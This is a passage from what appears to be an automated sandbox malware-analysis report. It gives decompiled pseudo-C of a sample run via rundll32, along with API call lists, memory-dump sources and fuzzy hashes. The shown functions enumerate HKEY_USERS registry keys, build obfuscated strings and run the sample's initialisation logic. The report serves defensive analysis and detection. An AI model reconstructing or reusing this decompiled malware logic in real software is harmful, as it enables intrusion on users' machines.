						E04AB4C73(_t100);
						_t98 = _a16;
					}
					E04AB4C73(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E04AB799E(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x4aba3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}

























                                            0x04ab6e20
                                            0x04ab6e29
                                            0x04ab6e30
                                            0x04ab6e35
                                            0x04ab6ea2
                                            0x04ab6ea8
                                            0x04ab6ead
                                            0x04ab6eb4
                                            0x04ab6eb9
                                            0x04ab6ebe
                                            0x04ab7029
                                            0x04ab7030
                                            0x04ab7030
                                            0x04ab7035
                                            0x04ab7037
                                            0x04ab7037
                                            0x04ab7040
                                            0x04ab7040
                                            0x04ab6ec4
                                            0x04ab6ec9
                                            0x04ab6ed0
                                            0x04ab701f
                                            0x04ab7022
                                            0x00000000
                                            0x04ab7022
                                            0x04ab6ed6
                                            0x04ab6edb
                                            0x04ab6ede
                                            0x04ab6ee3
                                            0x04ab6ee8
                                            0x04ab6f31
                                            0x04ab6f31
                                            0x04ab6f44
                                            0x04ab6f47
                                            0x04ab6f4e
                                            0x04ab6f54
                                            0x04ab6f5b
                                            0x04ab6f65
                                            0x04ab6f65
                                            0x04ab6f5d
                                            0x04ab6f5d
                                            0x04ab6f5d
                                            0x04ab6f5d
                                            0x04ab6f87
                                            0x04ab6f8f
                                            0x04ab6fbd
                                            0x04ab6fc2
                                            0x04ab6fc9
                                            0x04ab6fce
                                            0x04ab6fd2
                                            0x04ab7004
                                            0x04ab6fd4
                                            0x04ab6fe1
                                            0x04ab6fe4
                                            0x04ab6ff4
                                            0x04ab6ff7
                                            0x04ab6ffd
                                            0x04ab6ffd
                                            0x04ab6f91
                                            0x04ab6f9e
                                            0x04ab6fa1
                                            0x04ab6fb3
                                            0x04ab6fb6
                                            0x04ab6fb6
                                            0x04ab700e
                                            0x04ab701a
                                            0x04ab7010
                                            0x04ab7013
                                            0x04ab7013
                                            0x04ab700e
                                            0x04ab6f87
                                            0x00000000
                                            0x04ab6f4e
                                            0x04ab6ef7
                                            0x04ab6efa
                                            0x04ab6f01
                                            0x04ab6f07
                                            0x04ab6f0a
                                            0x04ab6f0c
                                            0x04ab6f18
                                            0x04ab6f1b
                                            0x04ab6f1b
                                            0x04ab6f21
                                            0x04ab6f26
                                            0x04ab6f26
                                            0x04ab6f2c
                                            0x00000000
                                            0x04ab6f2c
                                            0x04ab6e3a
                                            0x00000000
                                            0x04ab6e61
                                            0x04ab6e61
                                            0x04ab6e6d
                                            0x04ab6e80
                                            0x04ab6e86
                                            0x04ab6e8e
                                            0x00000000
                                            0x04ab6e8e

                                            APIs
                                            • StrChrA.SHLWAPI(04AB2A82,0000005F,00000000,00000000,00000104), ref: 04AB6E53
                                            • lstrcpy.KERNEL32(?,?), ref: 04AB6E80
                                              • Part of subcall function 04AB4208: lstrlen.KERNEL32(?,00000000,05629DA0,00000000,04AB2263,05629FC3,69B25F44,?,?,?,?,69B25F44,00000005,04ABA00C,4D283A53,?), ref: 04AB420F
                                              • Part of subcall function 04AB4208: mbstowcs.NTDLL ref: 04AB4238
                                              • Part of subcall function 04AB4208: memset.NTDLL ref: 04AB424A
                                              • Part of subcall function 04AB3B76: lstrlenW.KERNEL32(?,?,?,04AB6FE9,3D04AB90,80000002,04AB2A82,04AB744C,74666F53,4D4C4B48,04AB744C,?,3D04AB90,80000002,04AB2A82,?), ref: 04AB3B9B
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            • lstrcpy.KERNEL32(?,00000000), ref: 04AB6EA2
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
                                            • String ID: ($\
                                            • API String ID: 3924217599-1512714803
                                            • Opcode ID: bf22473d3f384a18daa5975e4c1819ac5cfa181429eb587ce9b0b5644eea43bf
                                            • Instruction ID: f8d3a28f6162416e83f6d61efdfff1312229ab90081c6e9177e116560f695d44
                                            • Opcode Fuzzy Hash: bf22473d3f384a18daa5975e4c1819ac5cfa181429eb587ce9b0b5644eea43bf
                                            • Instruction Fuzzy Hash: C8516A36100609EFEF229FA0DD40EEA3BBDEB48344F008519FA9196163D775F921EB90
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB737F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98registrysynchronizationCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB737F(void* __ecx, intOrPtr _a4) {
				int* _v8;
				int _v12;
				int* _v16;
				int _v20;
				int* _v24;
				char* _v28;
				void* _v32;
				long _t33;
				char* _t35;
				long _t39;
				long _t42;
				intOrPtr _t47;
				void* _t51;
				long _t53;

				_t51 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_t33 = RegOpenKeyExA(0x80000003, 0, 0, 0x20019,  &_v32); // executed
				_t53 = _t33;
				if(_t53 != 0) {
					L18:
					return _t53;
				}
				_t53 = 8;
				_t35 = E04AB4DF6(0x104);
				_v28 = _t35;
				if(_t35 == 0) {
					L17:
					RegCloseKey(_v32); // executed
					goto L18;
				}
				_v20 = 0x104;
				do {
					_v16 = _v20;
					_v12 = 0x104;
					_t39 = RegEnumKeyExA(_v32, _v8, _v28,  &_v12, 0, 0, 0, 0); // executed
					_t53 = _t39;
					if(_t53 != 0xea) {
						if(_t53 != 0) {
							L14:
							if(_t53 == 0x103) {
								_t53 = 0;
							}
							L16:
							E04AB4C73(_v28);
							goto L17;
						}
						_t42 = E04AB6E20(_t51, _v32, _v28, _v24, _v12,  &_v8, _a4); // executed
						_t53 = _t42;
						if(_t53 != 0) {
							goto L14;
						}
						goto L12;
					}
					if(_v12 <= 0x104) {
						if(_v16 <= _v20) {
							goto L16;
						}
						E04AB4C73(_v24);
						_v20 = _v16;
						_t47 = E04AB4DF6(_v16);
						_v24 = _t47;
						if(_t47 != 0) {
							L6:
							_t53 = 0;
							goto L12;
						}
						_t53 = 8;
						goto L16;
					}
					_v8 = _v8 + 1;
					goto L6;
					L12:
				} while (WaitForSingleObject( *0x4aba30c, 0) == 0x102);
				goto L16;
			}

















                                            0x04ab737f
                                            0x04ab7399
                                            0x04ab739c
                                            0x04ab739f
                                            0x04ab73a2
                                            0x04ab73a5
                                            0x04ab73ab
                                            0x04ab73af
                                            0x04ab7489
                                            0x04ab748d
                                            0x04ab748d
                                            0x04ab73b8
                                            0x04ab73bf
                                            0x04ab73c4
                                            0x04ab73c9
                                            0x04ab747e
                                            0x04ab7481
                                            0x00000000
                                            0x04ab7487
                                            0x04ab73cf
                                            0x04ab73d2
                                            0x04ab73d9
                                            0x04ab73e3
                                            0x04ab73ec
                                            0x04ab73f2
                                            0x04ab73fa
                                            0x04ab7432
                                            0x04ab746c
                                            0x04ab7472
                                            0x04ab7474
                                            0x04ab7474
                                            0x04ab7476
                                            0x04ab7479
                                            0x00000000
                                            0x04ab7479
                                            0x04ab7447
                                            0x04ab744c
                                            0x04ab7450
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab7450
                                            0x04ab73ff
                                            0x04ab740e
                                            0x00000000
                                            0x00000000
                                            0x04ab7413
                                            0x04ab741c
                                            0x04ab741f
                                            0x04ab7424
                                            0x04ab7429
                                            0x04ab7404
                                            0x04ab7404
                                            0x00000000
                                            0x04ab7404
                                            0x04ab742d
                                            0x00000000
                                            0x04ab742d
                                            0x04ab7401
                                            0x00000000
                                            0x04ab7452
                                            0x04ab745f
                                            0x00000000

                                            APIs
                                            • RegOpenKeyExA.KERNEL32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04AB2A82,?), ref: 04AB73A5
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • RegEnumKeyExA.KERNEL32(?,?,?,04AB2A82,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04AB2A82), ref: 04AB73EC
                                            • WaitForSingleObject.KERNEL32(00000000,?,?,?,04AB2A82,?,04AB2A82,?,?,?,?,?,04AB2A82,?), ref: 04AB7459
                                            • RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04AB2A82,?), ref: 04AB7481
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AllocateCloseEnumHeapObjectOpenSingleWait
                                            • String ID: !v
                                            • API String ID: 3664505660-453590349
                                            • Opcode ID: 41ba34a0d9036f8610a8f7ae22d14e9126b1d91ab718d88bd5481b432d4dcf9f
                                            • Instruction ID: 2575c130f6f103b8662819305d7bb9cd7b3252998f89562bc8de6080e1bf1067
                                            • Opcode Fuzzy Hash: 41ba34a0d9036f8610a8f7ae22d14e9126b1d91ab718d88bd5481b432d4dcf9f
                                            • Instruction Fuzzy Hash: 19318E75D00119ABDF21AFA8CD44DEFFFBDEB88311F104126E991B2162D2B42A41DBD0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB5803 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 66%
                                            			E04AB5803(intOrPtr* __eax, void* __ecx, void* __edx, long _a4, void** _a8, intOrPtr* _a12, char _a16) {
				void* _v8;
				char _v48;
				void* __edi;
				intOrPtr _t22;
				void* _t26;
				intOrPtr _t30;
				intOrPtr _t37;
				intOrPtr* _t43;
				void* _t44;
				void* _t47;
				intOrPtr* _t49;
				void* _t50;
				intOrPtr _t51;

				_t47 = __edx;
				_t44 = __ecx;
				_t43 = _a16;
				_t49 = __eax;
				_t22 =  *0x4aba348; // 0xb6d5a8
				_t2 = _t22 + 0x4abb682; // 0x657a6973
				wsprintfA( &_v48, _t2,  *__eax,  *_t43);
				_t51 =  *0x4aba3e0; // 0x5629ba8
				_push(0x800);
				_push(0);
				_push( *0x4aba2d8);
				if( *0x4aba2ec >= 5) {
					_t26 = RtlAllocateHeap(); // executed
					if(_t26 == 0) {
						L6:
						_a4 = 8;
						L7:
						if(_a4 != 0) {
							L10:
							 *0x4aba2ec =  *0x4aba2ec + 1;
							L11:
							return _a4;
						}
						_t52 = _a16;
						 *_t49 = _a16;
						_t50 = _v8;
						 *_t43 = E04AB2087(_t52, _t50); // executed
						_t30 = E04AB6D7F(_t50, _t52); // executed
						if(_t30 != 0) {
							 *_a8 = _t50;
							 *_a12 = _t30;
							if( *0x4aba2ec < 5) {
								 *0x4aba2ec =  *0x4aba2ec & 0x00000000;
							}
							goto L11;
						}
						_a4 = 0xbf;
						E04AB3F62();
						HeapFree( *0x4aba2d8, 0, _t50);
						goto L10;
					}
					_t37 = E04AB636D(_a4, _t47, _t51,  &_v48,  &_v8,  &_a16, _t26);
					L5:
					_a4 = _t37;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t37 = E04AB59E2(_a4, _t44, _t47, _t51,  &_v48,  &_v8,  &_a16, _t38);
				goto L5;
			}
















                                            0x04ab5803
                                            0x04ab5803
                                            0x04ab580a
                                            0x04ab5811
                                            0x04ab5815
                                            0x04ab581a
                                            0x04ab5825
                                            0x04ab582b
                                            0x04ab583b
                                            0x04ab5840
                                            0x04ab5842
                                            0x04ab5848
                                            0x04ab586c
                                            0x04ab5874
                                            0x04ab5891
                                            0x04ab5891
                                            0x04ab5898
                                            0x04ab589c
                                            0x04ab58d6
                                            0x04ab58d6
                                            0x04ab58dc
                                            0x04ab58e3
                                            0x04ab58e3
                                            0x04ab589e
                                            0x04ab58a1
                                            0x04ab58a3
                                            0x04ab58b0
                                            0x04ab58b2
                                            0x04ab58b9
                                            0x04ab58f0
                                            0x04ab58f5
                                            0x04ab58f7
                                            0x04ab58f9
                                            0x04ab58f9
                                            0x00000000
                                            0x04ab58f7
                                            0x04ab58bb
                                            0x04ab58c2
                                            0x04ab58d0
                                            0x00000000
                                            0x04ab58d0
                                            0x04ab5887
                                            0x04ab588c
                                            0x04ab588c
                                            0x00000000
                                            0x04ab588c
                                            0x04ab5852
                                            0x00000000
                                            0x00000000
                                            0x04ab5865
                                            0x00000000

                                            APIs
                                            • wsprintfA.USER32 ref: 04AB5825
                                            • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04AB584A
                                              • Part of subcall function 04AB59E2: GetTickCount.KERNEL32 ref: 04AB59F6
                                              • Part of subcall function 04AB59E2: wsprintfA.USER32 ref: 04AB5A46
                                              • Part of subcall function 04AB59E2: wsprintfA.USER32 ref: 04AB5A63
                                              • Part of subcall function 04AB59E2: wsprintfA.USER32 ref: 04AB5A83
                                              • Part of subcall function 04AB59E2: wsprintfA.USER32 ref: 04AB5AAF
                                              • Part of subcall function 04AB59E2: HeapFree.KERNEL32(00000000,00000000), ref: 04AB5AC1
                                              • Part of subcall function 04AB59E2: wsprintfA.USER32 ref: 04AB5AE2
                                              • Part of subcall function 04AB59E2: HeapFree.KERNEL32(00000000,00000000), ref: 04AB5AF2
                                            • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04AB586C
                                            • HeapFree.KERNEL32(00000000,?,?), ref: 04AB58D0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: wsprintf$Heap$Free$Allocate$CountTick
                                            • String ID: Uv
                                            • API String ID: 1428766365-4002285713
                                            • Opcode ID: 5733457f8213f625c57c0ad88b5ba612541a90bd29da4761e1915c8da2f7754b
                                            • Instruction ID: 40e8c35275daf65a69eef1318f3d790ce87035535eb17164b1c6c55b8e757b1d
                                            • Opcode Fuzzy Hash: 5733457f8213f625c57c0ad88b5ba612541a90bd29da4761e1915c8da2f7754b
                                            • Instruction Fuzzy Hash: 30315C75A00209BBDB01DF95D884ADA3BBCFB18304F104416F985AB262D734A955DFE1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE9CDB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 05DE9CFA
                                              • Part of subcall function 05DE23C2: RtlEnterCriticalSection.NTDLL(00000000), ref: 05DE23CE
                                              • Part of subcall function 05DE23C2: CloseHandle.KERNEL32(?), ref: 05DE23DC
                                              • Part of subcall function 05DE23C2: RtlLeaveCriticalSection.NTDLL(00000000), ref: 05DE23F8
                                            • CloseHandle.KERNEL32(?), ref: 05DE9D08
                                            • InterlockedDecrement.KERNEL32(05DF907C), ref: 05DE9D17
                                              • Part of subcall function 05DE3EC0: SetEvent.KERNEL32(000005B0,05DE9D32), ref: 05DE3ECA
                                              • Part of subcall function 05DE3EC0: CloseHandle.KERNEL32(000005B0), ref: 05DE3EDF
                                              • Part of subcall function 05DE3EC0: HeapDestroy.KERNELBASE(05F80000), ref: 05DE3EEF
                                            • RtlExitUserThread.NTDLL(00000000), ref: 05DE9D33
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandle$CriticalSection$DecrementDestroyEnterEventExitHeapInterlockedLeaveMultipleObjectsThreadUserWait
                                            • String ID: v
                                            • API String ID: 1141245775-1801730948
                                            • Opcode ID: 2c3e6d2acd53e6f524f9d34d5d388fe9e4b36ed05949dcc8e0071aa7fd16dd12
                                            • Instruction ID: 5185013348abe3086ab0380d0684a201cbe69ae3dcdd5683b1cd2c798c4a41b9
                                            • Opcode Fuzzy Hash: 2c3e6d2acd53e6f524f9d34d5d388fe9e4b36ed05949dcc8e0071aa7fd16dd12
                                            • Instruction Fuzzy Hash: 9DF0AF34A52210ABCB02AF6C9C1AFBA3B38EB81731F11021BF525833C0DB709C418BA5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB68F5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 29sleepmemoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 50%
                                            			E04AB68F5(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				void* _t9;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x4aba3cc; // 0x56295b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x4aba3cc; // 0x56295b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x4aba030) {
					HeapFree( *0x4aba2d8, 0, _t8);
				}
				_t9 = E04AB4117(_v0, _t13); // executed
				_t13[1] = _t9;
				_t10 =  *0x4aba3cc; // 0x56295b0
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}











                                            0x04ab68f5
                                            0x04ab68f5
                                            0x04ab68fe
                                            0x04ab690e
                                            0x04ab690e
                                            0x04ab6913
                                            0x04ab6918
                                            0x00000000
                                            0x00000000
                                            0x04ab6908
                                            0x04ab6908
                                            0x04ab691a
                                            0x04ab691e
                                            0x04ab6930
                                            0x04ab6930
                                            0x04ab693b
                                            0x04ab6940
                                            0x04ab6943
                                            0x04ab6948
                                            0x04ab694c
                                            0x04ab6952

                                            APIs
                                            • RtlEnterCriticalSection.NTDLL(05629570), ref: 04AB68FE
                                            • Sleep.KERNEL32(0000000A), ref: 04AB6908
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB6930
                                            • RtlLeaveCriticalSection.NTDLL(05629570), ref: 04AB694C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                                            • String ID: Uv
                                            • API String ID: 58946197-4002285713
                                            • Opcode ID: d737e3adcfb0c8289c1f44f92b8fdd3db710303652674b30c9b89979f25b836a
                                            • Instruction ID: 50767581723e486d772eb02638d5702b6d6b94d6f534338e7382c64753c1926e
                                            • Opcode Fuzzy Hash: d737e3adcfb0c8289c1f44f92b8fdd3db710303652674b30c9b89979f25b836a
                                            • Instruction Fuzzy Hash: 85F0FE74601741ABF7209F68DE48F963BECEB24344B044414F685D6273D724EC52EB96
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB2C52 Relevance: 7.7, APIs: 5, Instructions: 159memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 57%
                                            			E04AB2C52(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				void* _t49;
				void* _t51;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t63;
				CHAR* _t67;
				CHAR* _t68;
				char* _t69;
				void* _t70;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E04AB175D();
				if(_t21 != 0) {
					_t59 =  *0x4aba2fc; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x4aba2fc = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x4aba178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E04AB5765( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x4aba348; // 0xb6d5a8
					if( *0x4aba2fc > 5) {
						_t8 = _t26 + 0x4abb5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x4abb9f5; // 0x44283a44
						_t27 = _t7;
					}
					E04AB3EF8(_t27, _t27);
					_t31 = E04AB5410(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t63 = 5;
					if(_t54 != _t63) {
						 *0x4aba310 =  *0x4aba310 ^ 0x81bbe65d;
						_t32 = E04AB4DF6(0x60);
						 *0x4aba3cc = _t32;
						__eflags = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x4aba3cc; // 0x56295b0
							_t70 = _t70 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x4aba3cc; // 0x56295b0
							 *_t51 = 0x4abb81a;
						}
						_t54 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x4aba2d8, 0, 0x43);
							 *0x4aba368 = _t36;
							__eflags = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x4aba2fc; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x4aba348; // 0xb6d5a8
								_t13 = _t58 + 0x4abb55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x4ab9287);
							}
							_t54 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E04AB12D3( ~_v8 &  *0x4aba310, 0x4aba00c); // executed
								_t42 = E04AB475F(0, _t55, _t63, 0x4aba00c); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E04AB21FC(); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t67 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E04AB6B13(_t61, _t67, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t67;
									if(__eflags == 0) {
										goto L30;
									}
									_t54 = E04AB4ECB(__eflags,  &(_t67[4]));
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t68 = _v12;
						if(_t68 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x4aba17c(); // executed
							}
							goto L34;
						}
						_t69 =  &(_t68[4]);
						do {
						} while (E04AB3E6C(_t63, _t69, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}































                                            0x04ab2c52
                                            0x04ab2c5c
                                            0x04ab2c5f
                                            0x04ab2c62
                                            0x04ab2c65
                                            0x04ab2c6c
                                            0x04ab2c6e
                                            0x04ab2c7a
                                            0x04ab2c7c
                                            0x04ab2c7c
                                            0x04ab2c85
                                            0x04ab2c8b
                                            0x04ab2c90
                                            0x04ab2caa
                                            0x04ab2cb6
                                            0x04ab2cb8
                                            0x04ab2cbd
                                            0x04ab2cc7
                                            0x04ab2cc7
                                            0x04ab2cbf
                                            0x04ab2cbf
                                            0x04ab2cbf
                                            0x04ab2cbf
                                            0x04ab2cce
                                            0x04ab2cdb
                                            0x04ab2ce2
                                            0x04ab2ce7
                                            0x04ab2ce7
                                            0x04ab2cf0
                                            0x04ab2cf3
                                            0x04ab2d19
                                            0x04ab2d25
                                            0x04ab2d2a
                                            0x04ab2d2f
                                            0x04ab2d31
                                            0x04ab2d5d
                                            0x04ab2d5f
                                            0x04ab2d33
                                            0x04ab2d37
                                            0x04ab2d3c
                                            0x04ab2d41
                                            0x04ab2d48
                                            0x04ab2d4e
                                            0x04ab2d53
                                            0x04ab2d59
                                            0x04ab2d60
                                            0x04ab2d62
                                            0x04ab2d64
                                            0x04ab2d73
                                            0x04ab2d79
                                            0x04ab2d7e
                                            0x04ab2d80
                                            0x04ab2db0
                                            0x04ab2db2
                                            0x04ab2d82
                                            0x04ab2d82
                                            0x04ab2d88
                                            0x04ab2d95
                                            0x04ab2d9b
                                            0x04ab2d9b
                                            0x04ab2da3
                                            0x04ab2dac
                                            0x04ab2db3
                                            0x04ab2db5
                                            0x04ab2db7
                                            0x04ab2dbe
                                            0x04ab2dcb
                                            0x04ab2dd0
                                            0x04ab2dd5
                                            0x04ab2dd7
                                            0x04ab2dd9
                                            0x00000000
                                            0x00000000
                                            0x04ab2ddb
                                            0x04ab2de0
                                            0x04ab2de2
                                            0x04ab2de9
                                            0x04ab2ded
                                            0x04ab2df0
                                            0x04ab2e05
                                            0x04ab2e09
                                            0x04ab2e0e
                                            0x00000000
                                            0x04ab2e0e
                                            0x04ab2df2
                                            0x04ab2df4
                                            0x00000000
                                            0x00000000
                                            0x04ab2dff
                                            0x04ab2e01
                                            0x04ab2e03
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab2e03
                                            0x04ab2de6
                                            0x04ab2de6
                                            0x04ab2db7
                                            0x04ab2cf5
                                            0x04ab2cf5
                                            0x04ab2cfa
                                            0x04ab2e10
                                            0x04ab2e15
                                            0x04ab2e1d
                                            0x04ab2e1d
                                            0x00000000
                                            0x04ab2e15
                                            0x04ab2d00
                                            0x04ab2d03
                                            0x04ab2d0d
                                            0x04ab2d14
                                            0x00000000
                                            0x04ab2e25
                                            0x04ab2e25
                                            0x04ab2e28
                                            0x04ab2e2c
                                            0x04ab2e2c

                                            APIs
                                              • Part of subcall function 04AB175D: GetModuleHandleA.KERNEL32(4C44544E,00000000,04AB2C6A,00000001), ref: 04AB176C
                                            • CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 04AB2CE7
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • memset.NTDLL ref: 04AB2D37
                                            • RtlInitializeCriticalSection.NTDLL(05629570), ref: 04AB2D48
                                              • Part of subcall function 04AB4ECB: memset.NTDLL ref: 04AB4EE5
                                              • Part of subcall function 04AB4ECB: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04AB4F2B
                                              • Part of subcall function 04AB4ECB: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 04AB4F36
                                            • RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 04AB2D73
                                            • wsprintfA.USER32 ref: 04AB2DA3
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
